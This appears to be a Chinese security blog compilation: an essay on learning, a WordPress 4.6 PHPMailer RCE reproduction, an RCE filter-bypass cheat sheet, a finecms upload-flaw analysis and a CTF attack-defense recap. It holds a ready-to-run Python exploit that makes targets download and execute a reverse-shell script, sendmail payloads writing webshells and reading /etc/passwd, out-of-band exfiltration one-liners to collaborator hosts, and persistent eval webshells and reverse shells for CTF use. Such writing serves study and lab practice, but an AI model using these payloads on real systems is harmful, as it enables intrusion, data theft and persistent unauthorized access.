admin 发布的文章

《你尽力了吗》

作者:小四(中联绿盟 陈庆)

    很多人问如何入门如何入门,我却不知道要问的是入什么门。很少把某些好文章耐心
从头看完,我这次就深有体会。比如袁哥的sniffer原理,一直以为自己对sniffer原
理很清楚的,所以也就不曾仔细看过袁哥的这篇。后来有天晚上和袁哥讨论,如何通
过端口读写直接获取mac地址,为什么antisniff可以获得真正的mac地址,而不受更
改mac地址技术的影响,如何在linux下获得真正的mac地址。我一直对linux下的端口
读写心存疑虑,总觉得在保护模式下的端口都做了内存映象等等。结果袁哥问了我一
句,你仔细看我写的文章没有,我楞,最近因为要印刷月刊,我整理以前的很多文档,
被迫认真过滤它们,才发现袁哥的文章让我又有新认识。再后来整理到tt的几篇缓冲
区溢出的,尤其是上面的关于Solaris可装载内核模块,那就更觉得惭愧了。以前说
书非借不能读,现在是文章留在硬盘上却不读。其实本版已经很多经典文章了,也推
荐了不少经典书籍了,有几个好好看过呢。W.Richard.Stevens的UNP我算是认真看过
加了不少旁注,APUE就没有那么认真了,而卷II的一半认真看过,写过读书笔记,卷
III就没有看一页。道格拉斯的卷I、卷III是认真看过几遍,卷II就只断续看过。而
很多技术文章,如果搞到手了就懒得再看,却不知道这浪费了多少资源,忽略了多少
资源。BBS是真正能学到东西的地方吗?rain说不是的,我说也不是的。不过这里能开
阔人的视野,能得到对大方向的指引,足够了。我一直都希望大家从这里学到的不是
技术本身,而是学习方法和一种不再狂热的淡然。很多技术,明天就会过时,如果你
掌握的是学习方法,那你还有下一个机会,如果你掌握的仅仅是这个技术本身,你就
没有机会了。其实我对系统安全是真不懂,因为我一直都喜欢看程序写程序却不喜欢
也没有能力攻击谁谁的主机/站点。我所能在这里做的是,为大家提供一个方向,一种
让你的狂热归于淡然的说教。如果你连<<Windows NT设备驱动程序编写>>、<<win9x系
统编程>>都没有看过,却要写个什么隐藏自己的木马,搞笑。如果你看都不看汇编语
言,偏要问exploit code的原理,那我无法回答也不想回答你。总有人责问,要讨个
说法纭纭,说什么提问却没有回答。不回答已经是正确的处理方式了,至少没有回你
一句,看书去,对不对,至少没有扰乱版面让你生闷气。Unix的man手册你要都看完了,
想不会Unix都不行了。微软的MSDN、Platform SDK DOC你要看完了,你想把Win编程想
象得稍微困难点都找不到理由。还是那句话,一个程序员做到W.Richard.Stevens那个
份上,做到逝世后还能叫全世界的顶级hacker们专门著文怀念,但生前却不曾著文攻
击,想想看,那是一种什么样的境界,那是一份什么样的淡然。我们可以大肆讨论技
术问题,可以就技术问题进行激烈的卓有成效的讨论,却无意进行基础知识、资源信
息的版面重复。我刚在前面贴了一堆isbase的文章,开头就是主页标识,却在后面立
刻问什么主页在哪里?前面刚刚讨论过如何修改mac地址,后面马上又来一个,前后
相差不过3篇文章。选择沉默已经是很多朋友忍耐力的优异表现了。

    这次sztcww问的关于socket号为什么选择4而不是3,就很有专业精神,虽然我也不清
楚,但这样的问题我就乐意代他请教tt本人,至少他认真看了文章研究过代码,而不
是盲目地发问。如此讨论问题的同时,大家都可以提高。谁都乐意参与讨论这种问题。

    很多东西都是可以举一反三的。vertex的lids,被packetstorm天天追踪更新,你要是
看了THC的那三篇,觉得理解一个就理解了一堆,都是内核模块上的手脚。你不看你怎
么知道。我不想在这里陷入具体技术问题的讨论中去,你要是觉得该做点什么了,就
自己去看自己去找。没有什么人摆什么架子,也没有什么人生来就是干这个的。你自
己问自己,尽力了吗?


第三次看这篇文章
“学到的不是技术本身,而是学习方法和一种不再狂热的淡然”,
这句话,应该能给很多热爱安全的人以启发和指引
我还自诩追求的是技术本身,而不是技术能带给我什么
现在才知道,什么是天外有天
任何一个领域的尖端人物都不只是在自己所在领域造诣颇高而已,他们对事物都有着深邃的思考和独到见解

Referer:
白云黄鹤站 原文

WordPress 4.6 RCE 复现

环境

P师傅的docker
vulhub/wordpress/phpmailer-rce/

Mail()函数介绍

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
  • to: 邮件接收人

  • subject: 邮件主题

  • message: 要发的消息

  • additional_headers: 发邮件时额外的头部,如发送者from

  • additional_parameters: 传递给发送程序的额外参数,输入的发件人地址就进入这个参数
    Linux下,mail函数调用Linux的sendmail(/usr/bin/sendmail)程序发送邮件,sendmail有个-X参数,用来记录邮件的流量到log文件,通过指定这个log文件名,可以达到写文件的效果。

所以,此洞能被利用的前提是:

  1. 第五个参数可控

<?php
$to = 'abc@qq.com';
$subject = 'hello';
$message = 'world';
$message = '<?php phpinfo();?>';
$headers = 'CC: somebodyelse@example.com';
$options = 'my@qq.com -OQueueDirectory=/tmp -X/var/www/html/rce.php'; 
mail($to, $subject, $message, $headers, $options);

另外,sendmail的其他一些参数也能被利用。

  • -X file 记录log文件-->写文件

  • -C file 临时加载一个配置文件-->读文件

利用姿势

任意文件写入:

my@qq.com -OQueueDirectory=/tmp/ -X/var/www/shell.php
等同于
my@qq.com -oQ/tmp -X/var/www/shell.php

任意文件读取:

my@qq.com -C/etc/passwd -X/tmp/hack

在代码审计中,可以通过查找mail()函数,然后回溯他的第五个参数,看是否可控。

WordPress RCE

wp的rce就是这个mail()函数引起的,详细的漏洞分析可以看这里

POST /wp-login.php?action=lostpassword HTTP/1.1

Host: 127.0.0.1(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}9525}} null)

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Referer: http://127.0.0.1/wp-login.php?action=lostpassword

Cookie: wordpress_test_cookie=WP+Cookie+check

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 56



wp-submit=Get+New+Password&redirect_to=&user_login=admin

在Host头里注入payload,

target(any -froot@localhost -be ${run{command}} null)

Tips:

  • 利用${substr{0}{1}{$spool_directory}}代替/,用${substr{10}{1}{$tod_log}}代替空格

  • 把反弹shell的payload放到远程,然后curl过去,再执行

最终的payload为:
下载远程反弹脚本:

target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rshell${substr{10}{1}{$tod_log}}172.16.44.112${substr{0}{1}{$spool_directory}}shell.sh}} null)

执行反弹:

target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rshell}} null)

shell.sh

/bin/bash -i >& /dev/tcp/172.16.44.112/4444 0>&1

EXP

#! /usr/bin/env python
# coding: utf-8

'''
WordPress 4.6 RCE -- Reverse shell
Author: sn00py
Date: 2017/6/27
'''

import requests

print "\n[*] Execute \"nc -lvvp ip:port\" on your remote host"
url = raw_input("\n[*] Input target url: (e.g. http://victim.com)\n") + '/wp-login.php?action=lostpassword'
payload_url = raw_input("\n[*] Input payload url: (e.g. evil.com/shell.sh)\n")

def payload_generate(command):
    command = command.replace(' ', '${substr{10}{1}{$tod_log}}').replace('/', '${substr{0}{1}{$spool_directory}}')
    payload = "target(any -froot@localhost -be ${run{%s}} null)" % command
    return payload

data = {
    'wp-submit': 'Get New Password',
    'redirect_to': '',
    'user_login': 'admin'
}
# download payload
cmd = "/usr/bin/curl -o/tmp/rshell " + payload_url
payload = payload_generate(cmd)
headers = {
    'Host': payload
}
res = requests.post(url, data=data, headers=headers)
print "\n[*] status code: %d" % res.status_code
# reverse shell
cmd = "/bin/bash /tmp/rshell"
payload = payload_generate(cmd)
headers = {
    'Host': payload
}
res = requests.post(url, data=data, headers=headers)
print "\n[*] status code: %d" % res.status_code
print "\n[*] Done! good luck."

注意:

  1. 远程url不要加协议,因为有":"会出现500.

  2. post data里的user_login是一个存在的用户名,也就是说需要知道目标的一个用户名, 按实际情况修改。

Referer:
多个PHP mail函数引发的命令执行漏洞分析
WordPress Core 4.6 - Unauthenticated Remote Code Execution
WordPress 4.6无需认证远程命令执行漏洞分析

RCE bypass总结

Windows

绕过escapeshellcmd()

  • %1a (php version <= 5.2.5) 多字节字符

    dir ../ %1a| whoami
  • %0a 换行

    dir ../ %1a | whoami

数据外带(OOB)

  • HTTP

for /F %x in ('whoami') do start http://402h4pmr24p090cenlc9bmeao1uvik.burpcollaborator.net/%x
  • DNS

for /F %x in ('whoami') do nslookup %x.qkeimef2pqn9xr5stc1k9aqd046vuk.burpcollaborator.net  
for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.424h6por44r0b0eeple9dmgaq1wwukj.burpcollaborator.net
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1
%i.424h6por44r0b0eeple9dmgaq1wwukj.burpcollaborator.net

有空格等特殊符号的话,数据可能被截断,有ps的话可以用ps来base64编码

for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://424h6por44r0b0eeple9dmgaq1wwukj.burpcollaborator.net/'+$a);

Linux

绕过黑名单

  • 字符拼接

a=l;b=s;$a$b  --> ls
a=c;b=at;c=t;d=xt;$a$b $c$d  -->  cat txt
a=c;b=at;c=t;d=xt;$a$b ${c}${d} -->  cat txt
  • 从其它文件截取

echo `expr substr $(awk NR==1 1.php) 1 1`
  • 从环境变量截取

echo ${SHELLOPTS:1:1}
  • 执行上一条命令

!!

绕过空格

cat<>txt
{ls,-la}
{ls,-l,-a}
cat${IFS}txt

IFS是个全局变量,默认值是空白。

a=$'\x20txt';cat$a

利用Tab键

http://127.0.0.1/info.php?c=ls%09-la

数据外带

curl l5rzvd9oe86ejd54tlyc85mmndt3hs.burpcollaborator.net/?`uname`

ping -c 1 `uname`.zy1fx36gu90b5mttapk07xjad1jr7g.burpcollaborator.net

wget `uname`.zy1fx36gu90b5mttapk07xjad1jr7g.burpcollaborator.net

nc `uname`.zy1fx36gu90b5mttapk07xjad1jr7g.burpcollaborator.net

telnet `uname`.zy1fx36gu90b5mttapk07xjad1jr7g.burpcollaborator.net

ssh `uname`.zy1fx36gu90b5mttapk07xjad1jr7g.burpcollaborator.net

......

base64编码:

curl http://alznpv7xnaa6u6xk8rxfwszg97f03p.burpcollaborator.net/?`cat txt|base64`

curl http://alznpv7xnaa6u6xk8rxfwszg97f03p.burpcollaborator.net/?$(cat txt|base64)

finecms v5 - 任意上传分析

漏洞分析

漏洞文件位于finecms\dayrui\controllers\member\Account.php中的upload()方法:

public function upload() {

        // 创建图片存储文件夹
        $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
        @dr_dir_delete($dir);
        !is_dir($dir) && dr_mkdirs($dir);

        if ($_POST['tx']) {
            $file = str_replace(' ', '+', $_POST['tx']);
            if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
            var_dump($result);
                $new_file = $dir.'0x0.'.$result[2];
                if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                    exit(dr_json(0, '目录权限不足或磁盘已满'));
                } else {
                    $this->load->library('image_lib');
                    $config['create_thumb'] = TRUE;
                    $config['thumb_marker'] = '';
                    $config['maintain_ratio'] = FALSE;
                    $config['source_image'] = $new_file;
                    foreach (array(30, 45, 90, 180) as $a) {
                        $config['width'] = $config['height'] = $a;
                        $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
                        $this->image_lib->initialize($config);
                        if (!$this->image_lib->resize()) {
                            exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
                            break;
                        }
                    }
                    list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
                    !$type && exit(dr_json(0, '图片字符串不规范'));
                }
            } else {

                exit(dr_json(0, '图片字符串不规范'));
            }
        } else {
            exit(dr_json(0, '图片不存在'));
        }

// 上传图片到服务器
        if (defined('UCSSO_API')) {
            $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
            !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
        }


        exit('1');
    }

其中,

if ($_POST['tx']) {
            $file = str_replace(' ', '+', $_POST['tx']);
            if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
            var_dump($result);
                $new_file = $dir.'0x0.'.$result[2];
                if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) 

这里有一个把post过来的tx进行正则匹配的操作,

preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)

1.png
匹配到的结果有三组:

  1. $result[0] = data: image/aaa;base64,

  2. $result[1] = data: image/aaa;base64,

  3. $result[2] = aaa
    然后用aaa作为后缀生成文件名,

$new_file = $dir.'0x0.'.$result[2];

再把$file写入刚才生成的文件名,

file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))

所以,这里文件后缀和文件内容都是我们可控的,造成了任意文件上传。

利用

(还是不懂怎么来定位到漏洞在哪触发,很烦)
注册会员,修改头像,抓包
3.png
Referer:
https://bbs.ichunqiu.com/thread-23526-1-1.html

poc

第一次尝试用pocsuite来写poc,感觉还是蛮好用的。
pocsuite提供两种模式:verify和attack,分别用两个函数来实现。
所有功能都要通过导入api目录下的各个类来实现。
1.png
很多函数框架里直接封装好了,所以代码特别简介,加上开头一堆没用的介绍,也才70行

代码:
https://github.com/sn00pyd0g3/python_code/blob/master/pocsuite/finecms_v507_file_upload.py

pwnhub杯-线下赛总结

第一次打线下,被按在地上摩擦了。
3道web:

  • st2带waf

  • 禅道cms注入

  • python web(懵逼)
    大部分队伍都只是打下了禅道cms,网上也有公开的exp。按常理来说拿下之后应该立马py打全场的,但是这次比赛的网实在太炸了,一直500,根本没得玩,心态直接爆炸。

自己设想的流程是: 上软WAF->找洞-->拿shell(另一人修洞)-->反弹不死shell-->刷flag

然而比赛时心慌慌,忘得一干二净,结果被按在地上摩擦。
不死马没上,没弹shell,没上脚本....

吃一堑,长一智吧。

事先的一些准备:

  • waf+流量记录

<?php
error_reporting(0);
define('LOGS','log.txt');
$get=$_GET;
$post=$_POST;
$cookie=$_COOKIE;
$inp  = array('POST' =>$post ,'get'=>$get ,'cookie'=>$cookie);
function waf($v){
        if (is_array($v)) {
                array_map(waf, $v);
        }
        $rules="curl|and|or|floor|table_name|column_name|select\b|insert\b|benchmark\b|sleep\b|update\b|drop\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint";//"curl|flag|file_get_contents|eval|assert"; 注意格式不然cms会蹦
        $pattern=explode("|", $rules);
        foreach ($pattern as $ru) {
            if (preg_match("/flag/i", $v)) {
                print "flag: Th1s_1s_F14g_ah4h4<br />";
            }
                if (preg_match("/$ru/i", $v)) { 
                  
                  header("Location: http://www.cuit.edu.cn");
                        //echo $ru;//触发waf部分 可以用die
                  die('f4ck');

                }
                
        }
}
function logit($inp){
        $tmp="==================================================\r\n";
        foreach ($inp as $method => $k) {//对三种input拦截 php input数据量过多所以用的数组组合。还需要别的自行添加
                foreach ($k as $key => $value) {
                        $tmp=$tmp.$method.":\r\n".$key."==>".print_r($value, true)."\r\n"."\r\n";
                }        
        }
        file_put_contents(LOGS, "path:".$_SERVER['PHP_SELF']."\r\n".date("Y-m-d H:i:s")."\r\n".$tmp, FILE_APPEND | LOCK_EX);
}
function run($inp)
{
        logit($inp);
        array_map("waf", $inp);
}
run($inp);

不死shell:

<?php
ignore_user_abort(true);
set_time_limit(0);
while(1){
 system("bash -i >& /dev/tcp/111.111.111.111/12345 0>&1");
 sleep(1);
};
?>
  • 删文件

<?php
function del_by_name() {
    ignore_user_abort(true);
    set_time_limit(0);
    $file = isset($_GET['file']) ? $_GET['file'] : 'test123.txt';
    while (True) {
        if (is_file($file) && $file != __FILE__) {
            @unlink($file);
       //file_put_contents($file, '');
        }
        usleep(50);
    }
}
<?php
//循环删除某个文件夹下新修改的文件(文件监控)
function bianli($path, $time) {
    set_time_limit(0);
    $files = new FilesystemIterator($path);
    foreach ($files as $file) {
        if ($file->isDir()) {
            bianli($file->getPathName(), $time);
        }
        if($file->isFile() && $file->getPathName() != __FILE__) {
            if($file->getMTime() > $time) {
                @unlink($file);
            }
        }
    }
}
function del_by_time_and_path() {
    $path = isset($_GET['path'])? $_GET['path'] : '/test/';
    $time = isset($_GET['time'])? $_GET['time']: '9999999999';
    while(True) {
        bianli($path, $time);
    }
}
//del_by_name();
//del_by_time_and_path();
?>
  • 不死马

<?php  
    ignore_user_abort(true);  
    set_time_limit(0);  
    $file = './shell.php';  
    $code = '<?php @eval($_POST[\'c\']); ?>';  
    while (1){  
        if(!file_exists($file)){  
            file_put_contents($file,$code);  
        }  
        usleep(50);  
    }  
?>